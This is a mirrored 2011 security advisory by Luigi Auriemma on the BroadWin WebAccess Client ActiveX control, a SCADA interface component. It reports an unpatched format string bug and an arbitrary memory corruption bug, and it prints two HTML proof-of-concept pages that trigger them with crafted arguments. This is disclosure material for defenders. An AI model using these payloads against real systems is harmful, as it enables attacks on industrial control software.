首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BroadWin WebAccess Client Multiple Vulnerabilities
来源:aluigi.org 作者:Auriemma 发布时间:2011-09-05  

Application:  BroadWin WebAccess Client
              http://broadwin.com/Client.htm
Versions:     bwocxrun.ocx <= 1.0.0.10 (aka version 7.0)
Platforms:    Windows
Bugs:         A] format string
              B] arbitrary memory corruption
Exploitation: remote
Date:         02 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"WebAccess is the first fully web browser-based software package for
human-machine interfaces (HMI), and supervisory control and data
acquisition (SCADA)."

The various operations are handled by the bwocxrun.ocx ActiveX
component which is available (but it's not updated) also in Advantech
WebAccess (http://webaccess.advantech.com).


#######################################################################

=======
2) Bugs
=======

----------------
A] format string
----------------

The OcxSpool function is affected by a format string vulnerability
caused by the usage of the Msg string provided by the attacker directly
with vsprintf() without the required format argument.


------------------------------
B] arbitrary memory corruption
------------------------------

WriteTextData and CloseFile allow to corrupt arbitrary zones of the
memory through a fully controllable stream identifier in fclose() and
fwrite().


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/bwocxrun_1.zip
http://www.exploit-db.com/sploits/bwocxrun_1.zip


#######################################################################

======
4) Fix
======


No fix.

---------------------------bwocxrun_1a.htm--------------

<html>
<body>
<object id="target" classid="CLSID:5C2A52BD-2250-4F6B-A4D2-D1D00FCD748C"></object>
<script>
    target.OcxSpool(
        "%s%s%s%n%n%n%n%n"
    );
</script>
</body>
</html>

---------------------------bwocxrun_1b.htm--------------

<html>
<body>
<object id="target" classid="CLSID:5C2A52BD-2250-4F6B-A4D2-D1D00FCD748C"></object>
<script>
    target.WriteTextData(
        0x41414141,
        "test"
    );
    target.CloseFile(
        0x41414141
    );
</script>
</body>
</html>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DVD X Player 5.5 .plf PlayList
·Apple QuickTime PICT PnSize Bu
·Linux Kernel 'perf_count_sw_cp
·DragonflyBSD PortBind TCP (133
·Citrix Gateway ActiveX Control
·Musiccut210p Local Buffer Over
·DVD X Player 5.5.0 Pro / Stand
·Cerberus FTP Server 4.0.9.8 (R
·mp3 Kaydet Local Buffer Overfl
·BisonFTP Server v3.5 (MKD) Rem
·Rainer v0.1 by localh0t
·Free MP3 CD Ripper 1.1 Local B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved